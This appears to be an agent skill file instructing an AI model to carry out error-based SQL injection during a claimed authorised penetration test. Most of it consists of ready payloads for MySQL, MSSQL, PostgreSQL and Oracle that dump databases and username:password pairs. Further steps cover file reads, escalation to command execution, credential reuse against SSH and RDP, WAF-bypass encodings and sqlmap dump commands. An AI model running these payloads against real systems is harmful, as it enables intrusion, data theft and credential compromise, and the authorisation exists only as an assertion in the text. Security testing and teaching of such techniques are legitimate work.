| name | sql-injection-error |
| description | Guide error-based SQL injection exploitation during authorized penetration testing.
|
| keywords | ["error-based SQLi","EXTRACTVALUE","UPDATEXML","CONVERT INT","CAST AS INT","database errors in response","verbose SQL errors"] |
| tools | ["sqlmap","burpsuite"] |
| opsec | medium |
Error-Based SQL Injection
You are helping a penetration tester exploit error-based SQL injection. The
target application returns database error messages that can be leveraged to
extract data. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[sql-injection-error] Activated → <target> to the screen on activation.
- Evidence → save significant output to
engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see web-discovery)
- Application displays verbose database error messages in the response
- If errors are generic or hidden, use sql-injection-blind instead
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine:
- Injection point — URL, parameter name, request method
- Error observed — paste the exact error message
- DBMS — if known from error signatures or prior testing
Skip if context was already provided.
Step 2: Identify DBMS
If the DBMS is unknown, fingerprint from the error message:
| Error Signature | DBMS |
|---|
You have an error in your SQL syntax | MySQL |
Unclosed quotation mark / CONVERT | MSSQL |
ERROR: invalid input syntax for | PostgreSQL |
ORA- prefix | Oracle |
If unclear, inject identification payloads:
' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--+ -- MySQL
' AND 1=CONVERT(INT,@@version)
' AND 1=CAST(version() AS INT)--+ -- PostgreSQL
' AND 1=utl_inaddr.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1))
Step 3: Extract Data
Walk through extraction in this order:
- Current user and database — confirms extraction works
- List databases/schemas
- List tables in the target database
- List columns in the target table
- Extract data — credentials, secrets, flags
MySQL
EXTRACTVALUE (MySQL 5.1+) — most reliable:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user())))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='TARGET_DB')))
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='TARGET_TABLE')))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(username,0x3a,password) FROM TARGET_TABLE)))
32-char truncation: EXTRACTVALUE/UPDATEXML truncate to ~32 chars. Paginate:
' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),1,31)))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT ...),32,31)))
Alternatives when EXTRACTVALUE is blocked:
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)--+
-- GTID_SUBSET (MySQL 5.6+)
' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user())),1)
' AND JSON_KEYS(CONCAT(0x7e,(SELECT user())))--+
-- FLOOR(RAND()) — classic double-query error
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
' AND EXP(~(SELECT * FROM (SELECT user())a))--+
MSSQL
CONVERT/CAST — force type conversion error:
' AND 1=CONVERT(INT,SYSTEM_USER)--+
' AND 1=CONVERT(INT,DB_NAME())
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM master..sysdatabases))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN ('master','tempdb','model','msdb')))
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM syscolumns WHERE id=OBJECT_ID('TARGET_TABLE')))
' AND 1=CONVERT(INT,(SELECT TOP 1 username+':'+password FROM TARGET_TABLE))--+
WAF bypass alternatives:
' AND 1=SUSER_NAME((SELECT TOP 1 name FROM master..sysdatabases))--+
' AND 1=USER_NAME((SELECT TOP 1 name FROM master..sysdatabases))
' AND 1=0/@@version--+
PostgreSQL
CAST — force type conversion:
' AND 1=CAST(current_user AS INT)--+
' AND 1=CAST(current_database() AS INT)
' AND 1=CAST((SELECT string_agg(datname,',') FROM pg_database) AS INT)--+
' AND 1=CAST((SELECT string_agg(tablename,',') FROM pg_tables WHERE schemaname='public') AS INT)
' AND 1=CAST((SELECT string_agg(column_name,',') FROM information_schema.columns WHERE table_name='TARGET_TABLE') AS INT)--+
' AND 1=CAST((SELECT string_agg(username||':'||password,',') FROM TARGET_TABLE) AS INT)
XML helper for large datasets:
' AND 1=CAST(query_to_xml('SELECT * FROM TARGET_TABLE',true,false,'') AS INT)--+
Oracle
utl_inaddr.get_host_name:
' AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))--+
' AND 1=utl_inaddr.get_host_name((SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name) FROM user_tables WHERE ROWNUM<=10))
Alternatives:
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--+
' AND 1=(SELECT UPPER(dbms_xmlgen.getxml('SELECT user FROM dual')) FROM dual)
' AND 1=(SELECT XMLType('<:'||(SELECT user FROM dual)||'>') FROM dual)--+
' AND 1=DBMS_UTILITY.SQLID_TO_SQLHASH((SELECT user FROM dual))
Step 4: Post-Exploitation
After extracting target data:
- File read — MySQL
LOAD_FILE(), MSSQL OPENROWSET BULK, PostgreSQL pg_read_file()
- Command execution — route to sql-injection-stacked for xp_cmdshell, COPY TO PROGRAM
- Credential reuse — test extracted creds against SSH, RDP, admin panels
Step 5: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
OPSEC Notes
- Error-based injection is read-only — no database artifacts to clean up
- Payloads appear in application logs, DB slow query logs, and WAF logs
- Defenders look for:
EXTRACTVALUE, UPDATEXML, GTID_SUBSET, CONVERT(INT,, CAST(... AS INT) patterns
Troubleshooting
Error Messages Not Displayed
The application may catch errors and return a generic page:
- Try sql-injection-blind (boolean or time-based) instead
- Check if errors appear in HTTP headers (X-Debug, X-Error)
- Check if error details appear in a different response format (JSON error field, XML fault)
Output Truncated
EXTRACTVALUE/UPDATEXML limit output to ~32 chars. Paginate with SUBSTRING:
SUBSTRING((SELECT ...),1,31)
SUBSTRING((SELECT ...),32,31)
WAF Blocking Keywords
' AND /*!50000EXTRACTVALUE*/(1,CONCAT(0x7e,version()))--+
-- Hex-encode string literals
-- 'information_schema' -> 0x696e666f726d6174696f6e5f736368656d61
-- Double URL-encode
%2527%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,version()))--+
Automated Extraction with sqlmap
sqlmap -u "https://TARGET/page?id=1" --batch --technique=E --dbs
sqlmap -r request.txt --batch --technique=E --dbs
sqlmap -r request.txt --batch --technique=E -D TARGET_DB -T TARGET_TABLE --dump
sqlmap -r request.txt --batch --technique=E --tamper=between,randomcase --dbs